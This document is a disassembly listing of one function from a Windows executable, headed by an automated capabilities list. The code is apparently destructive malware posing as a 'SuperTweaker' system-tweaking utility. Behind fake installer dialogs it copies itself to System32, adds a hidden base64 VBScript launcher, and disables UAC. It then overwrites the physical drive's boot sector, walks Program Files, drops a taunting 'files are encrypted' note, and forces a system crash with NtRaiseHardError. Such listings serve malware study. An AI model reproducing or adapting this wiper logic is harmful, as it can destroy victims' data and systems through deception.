Function at 0x140002440
Capabilities:
Copy file
Create process on windows
Create thread
Disable system features via registry on windows
Encode data using xor
Generate random numbers using a mersenne twister
Get common file path
Query or enumerate registry value
Set registry value
Shutdown system
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x1580]
mov eax, 0x1680
call fcn.140005d60
sub rsp, rax
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rbp + 0x1570], rax
mov rdi, r8
lea rax, [rsp + 0x58]
xor esi, esi
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x68], esi
mov r9d, 0x20019
lea rdx, str.SoftwareWindowsCrashHandler
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400024e9
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rdx, str.Handled
lea rax, [rsp + 0x68]
mov dword [rsp + 0x60], 4
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [0x140007d90]
mov rcx, rdi
call qword [sym.imp.VCRUNTIME140.dll_strstr]
lea rdx, str._CATS
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x140002520
call fcn.140001390
call fcn.140001510
jmp 0x140002cd9
cmp dword [rsp + 0x68], 1
jne 0x14000289a
test rbx, rbx
je 0x140002cd9
mov qword [rsp + 0x30], rsi
lea rcx, str..PhysicalDrive0
mov dword [rsp + 0x28], esi
xor r9d, r9d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
mov r8d, 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140002575
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, 0x10000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
lea r9, [0x140008c00]
mov r8d, esi
sub r9, rax
mov r11, rax
mov rdx, rax
nop dword [rax + rax]
movzx ecx, byte [r9 + rdx]
inc r8d
mov byte [rdx], cl
lea rdx, [rdx + 1]
cmp r8d, 0xa7
jb 0x1400025a0
lea rdx, [0x1400084e0]
mov r10, r11
sub r10, rdx
mov r9d, esi
nop word [rax + rax]
movzx eax, byte [rdx]
inc r9d
mov byte [r10 + rdx + 0x1fe], al
lea rdx, [rdx + 1]
cmp r9d, 0x709
jb 0x1400025d0
lea r9, [rsp + 0x60]
mov qword [rsp + 0x20], rsi
mov r8d, 0x10000
mov rdx, r11
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140002617
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
lea r8, [0x140001aa0]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.140002280
lea rdx, str.C:Program_Files
lea rax, str.C:Program_Files__x86_
mov qword [rbp + 0x1340], rdx
mov qword [rbp + 0x1348], rax
lea rbx, [rbp + 0x1340]
lea rcx, [rsp + 0x70]
call fcn.140003ce0
lea rcx, [rsp + 0x70]
call fcn.140001c40
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x1400026b1
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026ac
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400026c6
call fcn.14000506c
add rbx, 8
lea rax, [rbp + 0x1350]
cmp rbx, rax
je 0x1400026cd
mov rdx, qword [rbx]
jmp 0x140002665
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001390
call fcn.140001510
lea rdx, [rbp + 0x1350]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r8, str.tempnote.txt
mov edx, 0x104
lea rcx, [rbp + 0x1350]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
mov qword [rsp + 0x30], rsi
lea rcx, [rbp + 0x1350]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000278d
lea r9, [rsp + 0x60]
mov qword [rsp + 0x20], rsi
mov r8d, 0x103
lea rdx, str.Your_files_are_encrypted__but_I_threw_away_the_decryption_key._Oops._r_n_r_nDont_bother_about_killing_Hydroxide__the_damage_r_nis_already_done._r_n_r_nYour_PC_will_crash_in_a_moment__have_fun_while_it_lasts._:__r_n_r_n__You_hear_distant_meowing__you_feel_impending_doom.
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rbp + 0x1350]
mov dword [rsp + 0x28], 5
lea r8, str.notepad.exe
mov qword [rsp + 0x20], rsi
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x1400027a9
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed_to_create_temporary_file.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtRaiseHardError
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rdi, rdi
je 0x140002829
test rax, rax
je 0x140002829
lea r9, [rsp + 0x64]
xor r8d, r8d
mov edx, 1
mov ecx, 0x13
call rdi
lea rax, [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 6
mov ecx, 0xc0000022
call rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x50]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea r8, [rsp + 0x74]
xor ecx, ecx
lea rdx, str.SeShutdownPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
xor edx, edx
mov dword [rsp + 0x70], 1
mov dword [rsp + 0x7c], 2
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov edx, 0x10007
mov ecx, 6
call qword [sym.imp.USER32.dll_ExitWindowsEx]
jmp 0x140002cd9
mov r9d, 0x24
lea r8, str.SuperTweaker
lea rdx, str.SuperTweaker_is_a_utility_that_lets_you_customize_Windows_to_its_core._r_n_r_nWould_you_like_to_install_now_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 7
je 0x140002cd9
mov r9d, 0x24
lea r8, str.SuperTweaker
lea rdx, str.SuperTweaker_is_going_to_install_the_following_modules:_r_nRemove_Cortana_Copilot_r_nAero_Theme_r_nMore_Customizable_Themes_r_nPC_Optimizer_r_nCustom_Boot_Screen_r_nand_much_more..._r_n_r_nWould_you_like_to_install_now_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 7
je 0x140002cd9
mov r8d, 0x104
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x104
lea rcx, [rbp + 0x1350]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r8, str.win32ch.exe
lea rdx, [rbp + 0x1350]
lea rcx, [rbp + 0x1460]
call qword [sym.imp.SHLWAPI.dll_PathCombineA]
xor r8d, r8d
lea rdx, [rbp + 0x1460]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x140002950
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Executable_copied_to_System32_successfully.
call fcn.1400040f0
jmp 0x140002976
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_copy_executable_to_System32._Error:
mov ebx, eax
call fcn.1400040f0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400042d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, qword [str.U2V0IFdzaFNoZWxsID0gQ3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIikNCldzaFNoZWxsLlJ1biAiQzpcV2luZG93c1xTeXN0ZW0zMlx3aW4zMmNoLmV4ZSAvUyIsIDAsIEZhbHNlDQo]
lea rcx, [rsp + 0x70]
call fcn.140003ce0
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x70]
call fcn.140001650
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x1400029e4
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029df
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400029df
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000506c
lea rcx, [rbp - 0x70]
call fcn.140001820
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x1334], 0xffffffff
mov edx, 1
mov dword [rbp - 0x4c], eax
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 - 0x4c], eax
inc rdx
cmp rdx, 0x270
jb 0x140002a10
lea rcx, [rbp - 0x50]
mov dword [rbp - 0x50], 0x270
call fcn.140004af0
mov ecx, eax
imul rcx, rcx, 0x1f41
cmp ecx, 0x195c
ja 0x140002a6a
lea rcx, [rbp - 0x50]
call fcn.140004af0
mov ecx, eax
imul rcx, rcx, 0x1f41
cmp ecx, 0x195d
jb 0x140002a50
shr rcx, 0x20
add ecx, 0x800007d0
btc ecx, 0x1f
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x50]
mov r9d, 2
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140002b0a
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 4
lea rdx, str.EnableLUA
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x60], esi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.UAC_disabled.
call fcn.1400040f0
mov rcx, rax
lea rdx, [0x1400042d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140002b2d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_disable_UAC.
call fcn.1400040f0
mov rcx, rax
lea rdx, [0x1400042d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r9d, 0x40
lea r8, str.SuperTweaks_Pro
lea rdx, str.UAC_has_to_be_disabled_to_apply_tweaks._You_can_enable_it_later_in_Settings._r_n_r_nYou_must_restart_your_computer_for_changes_to_take_effect._r_n_r_nTweaks_will_be_applied_on_restart__wait_until_a_configuration_dialog_pops_up.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov qword [rsp + 0x40], rsi
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rdx, str.SoftwareWindowsCrashHandler
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140002bc7
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 4
lea rdx, str.Handled
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x60], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r9d, 0x24
lea r8, str.Apply_Tweaks
lea rdx, str.To_apply_tweaks__you_must_restart._Would_you_like_to_restart_now_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
jne 0x140002c78
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x50]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140002c57
lea r8, [rsp + 0x74]
xor ecx, ecx
lea rdx, str.SeShutdownPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
xor edx, edx
mov dword [rsp + 0x70], 1
mov dword [rsp + 0x7c], 2
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov ecx, 6
call qword [sym.imp.USER32.dll_ExitWindowsEx]
test eax, eax
jne 0x140002c9b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_restart_the_computer.
jmp 0x140002c86
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.The_computer_will_not_restart.
call fcn.1400040f0
lea rdx, [0x1400042d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140002cd9
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002cd4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002cd4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000506c
xor eax, eax
mov rcx, qword [rbp + 0x1570]
xor rcx, rsp
call fcn.140004dd0
lea r11, [rsp + 0x1680]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret